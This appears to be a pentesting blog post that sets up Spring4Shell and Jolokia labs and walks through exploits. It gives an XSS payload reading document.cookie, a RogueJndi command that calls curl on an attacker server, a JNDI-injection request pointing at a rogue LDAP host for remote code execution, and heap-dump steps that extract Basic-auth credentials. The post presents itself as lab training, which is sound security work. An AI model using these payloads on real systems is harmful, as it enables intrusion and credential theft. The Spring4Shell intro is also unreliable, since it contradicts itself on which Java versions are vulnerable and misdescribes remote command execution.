SPRING BOOT PENTESTING PART 4- SPRING4SHELL + JOLOKIA

Previously was a quick setup of Sprint boot environment setup . Now In this blog we are going to setup other labs I.e. Spring4Shell and Jolokia LAB SETUP + EXPLOIT SOLUTIONS.

Spring4Shell LAB SETUP

Before heading to direct lab setup, let’s get to know in brief about the Log4j/Spring4Shell.

Log4j logging framework vulnerability

A vulnerability in a logging library has been found, and hackers are already trying to exploit it. Researchers are warning that this vulnerability could have serious consequences for the internet as a whole. Logging is a way of recording information about what happens in an application as it runs. This information can be helpful for debugging, tracking down problems, and keeping track of how the application works over time.

Log4j is a software framework that allows you to log various data within your application. This information can be used for debugging and other purposes.

In context, Log4j is a software that helps manage logs. Researchers discovered a vulnerability that could allow cyber-attackers to access and run any software on a server that is using Log4j. This vulnerability was discovered in November 2021 and was reported to the Apache Foundation on December 9th.

Log4j provides the ability to lookup information about objects and settings using special keywords. This can be useful for understanding log messages or customizing logging behavior.For further reading, refer this.

The bug is a security issue that affects Log4j, a widely used logging framework. Security responders are working to patch it, but it’s possible for someone to exploit it and take control of a system. Meanwhile, hackers are looking for systems that are impacted by the bug. Some have already created tools that can exploit the bug, and others are developing worms that can spread independently of one system to another.

Spring4Shell

Remote Command Execution?

Remote command execution allows a threat actor to run critical commands from a remote location, typically to hijack user passwords. These commands can be executed using the cd command to change directory, the cat command to read the file contents, and the su or sudo commands to be superuser.

Who are impacted?

Java 9 is immune to the Spring vulnerability. Java 8 is not vulnerable.

We recommend all Spring users update, starting with those using Tomcat. However, other vectors may be discovered, so we advise all users to update.

The RCE, as present in Java Spring Core and Spring Cloud Function:

Spring4Shell – an RCE in Spring Core-

• This vulnerability, called “Spring4Shell”, exploits class injection to allow a full remote code execution (RCE). This is very serious, because it affects a lot of programs that use Spring Core, a common library.
• We think that users of JDK 9 or newer are at risk of being hacked. All versions of Spring Core are impacted.
• There are things you can do to protect yourself from this attack, but it’s not always clear which servers are at risk. We still recommend that everyone use mitigations or update if they’re using Spring Core.
• A security vulnerability has been found and published with a CVE-2022-22965
• There is a possible weakness in Spring Core that could allow someone to gain access to your data.

Now lets begin with Lab setup!!

Test Yourself:-

Application + Exploit.

• Clone the repository
• Build and run the container:

docker build . -t spring4shell && docker run -p 8080:8080 spring4shell

Refer this !! To know about it in detail.

JOLOKIA-WAR

Tested versions 1.3.4,1.3.7 and 1.4.0

For Tomcat setup Follow the References below-

Link1

Link2

Link3

After successful installation of tomcat, our local host will seem like this:-

Here is a Repository where all jolokia versions are available and u can download the war file and then deploy the versions which u want to test.

Here is a quick guide to deploy it , all we have to download the version i.e., JOLOKIA-war-1.3.4 (in my case) and then just upload the downloaded .war file here and deploy it and then anyone can access it .

The installation has been successful, and now we can begin testing the actual implementation.

Basic Information gathering:

curl https://target/jolokia/version –insecure | jq

This should return basic information about the used version of Jolokia.

Now It’s time to perform some exploits. All the exploits are working .

Exploiting CVE-2018-1000129 (Reflected Cross-Site Scripting)

Jolokia was susceptible to a Reflected Cross-Site Scripting attack in versions earlier than 1.5.0 because attackers could set the mimeType arbitrarily. The documentation specifies that the MIME type determines the response format, and the default value is text/plain. However, changing the MIME type to text/html allows the attacker to execute malicious JavaScript code. The CVE author discovered that using a payload like would be treated as valid JavaScript by the browser. To prevent such attacks, the fix was to restrict the allowed MIME types to text/plain and application/json. To test if a system is vulnerable to this XSS attack, simply visit the designated path.I’ve tested this on version 1.3.4,1.3.7 and 1.4.0 so make sure u also perform .

Payload type this in browser:

https://<target>/api/jolokia/read<svg%20onload=alert(document.cookie)>?mimeType=text/html

Try other payloads also might not work in your case!!

Exploiting CVE-2018-1000130 (Remote Code Execution)

To avoid disappointing my audience, let’s shift our focus to Remote Code Execution. According to CVE-2018-1000130, Jolokia agent version 1.3.7 in proxy mode is susceptible to a JNDI Injection vulnerability that allows a remote attacker to execute arbitrary Java code on the server. To identify this vulnerability, we must delve deeper into Jolokia’s functionalities. One method that can be employed in conjunction with an MBean is a managed Java object, which is asking a Java Beans component. This managed Java object must comply with the design patterns specified in the JMX specification. In this example, we will use the Mbean java.lang:type=Memory, which allows a URL object to be attached to it. Within this URL object, we can specify a Remote Method Invocation (RMI) to a Java Naming and Directory Interface (JNDI) API that will call an LDAP server. Using the rogue LDAP server , we can use a legitimate server to distribute a malicious payload and exploit an unsafe reflection in 0org.apache.naming.factory.BeanFactory, thus achieving remote code execution.

To execute the attack, we launch our malicious LDAP server using RogueJDNI with the following command: java -jar target/RogueJndi-1.0.jar –command “curl http://<yourserver.com>:7777” –hostname “<yourattackingserver>”. Below is a screenshot of my server initiating the LDAP server:

To prepare the payload for delivery to the Jolokia service, you must first create an LDAP service on your server. The command part of the payload may need to be adjusted depending on the operating system of the Jolokia service. The hostname parameter should match the IP of your server if you want it to be publicly accessible. Rogue JDNI supports multiple payloads for different systems, but in this example, we will focus on Tomcat. After starting the LDAP server, a second listener must be created to wait for the specified command or payload. A netcat listener can be set up easily for this purpose. Finally, you can use Burpsuite or another intercepting proxy to make a request to the vulnerable target server.

POST /jolokia/read/getDiagnosticOptions HTTP/1.1
Host: YourTarget
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 175

{
    "type" : "read",
    "mbean" : "java.lang:type=Memory",
    "target" : { 
         "url" : "service:jmx:rmi:///jndi/ldap://YourServer:1389/o=tomcat"
    } 
}

Note that it is important to update the IP address and LDAP endpoint in the example provided below for successful execution. Once you have sent the request, monitor your Netcat listener for incoming connections, which should look similar to the following:

Exploiting Java Heap Information Disclosure

To conclude, I would like to illustrate an exploitation technique that lacks adequate documentation and a publicly available CVE reference. By leveraging the com.sun.management:type=HotSpotDiagnostic Mbean, it becomes feasible to generate a Heapdump of the current Java processes. For those unfamiliar with the term, Heap space is utilized in Java for dynamic memory allocation of Java objects during runtime. All new objects are created in the Heap space, and the references to these objects are kept in stack memory. This can potentially expose sensitive information depending on what is currently present in memory. Furthermore, Jolokia’s dumpHeap operation enables one to specify where the heapdump file should be saved. This argument can be manipulated by an attacker to set an arbitrary path. For instance, we could store the file in the ROOT directory of the Tomcat server to make it publicly available. To accomplish this, we need to send the following request using a tool such as Burp suite or any other proxy that can intercept requests:

Here we can download the heap dump but in my case it’s not possible u can also try using CLI command by Curl method Using the POST and GET Method but we can be very in server that heap dump is created and contain relevant info.

Once done, we can use a tool like VisualVM to investigate this file.

Open VisualVM, click on File → Load File and open the HPROF file. As these dumps usually contain massive amount of Data, VisualVM allows you to filter for certain keywords – evergreens in Pentests / Bug Bounties are secret, authentication, bearer etc. In this example, it was possible to find the basic authentication credentials for our Tomcat server.

You can also do this from your terminal using preinstalled tools. To do so, run cat test1.hprof | strings |  grep authorization: which will give us the following: authorization:Basic YWRtaW46cGFzc3dvcmQ==. The actual Username / Password pair is Base64 encoded and this can be decoded using echo YWRtaW46cGFzc3dvcmQ==  | base64 -d which will give us the Username/Password pair of admin:password.

Read our Previous Blogs.

If you enjoyed this blog post , share it with your friends and colleagues! In Next Blog we will discuss Securing Spring Boot Web App and API’s !!!!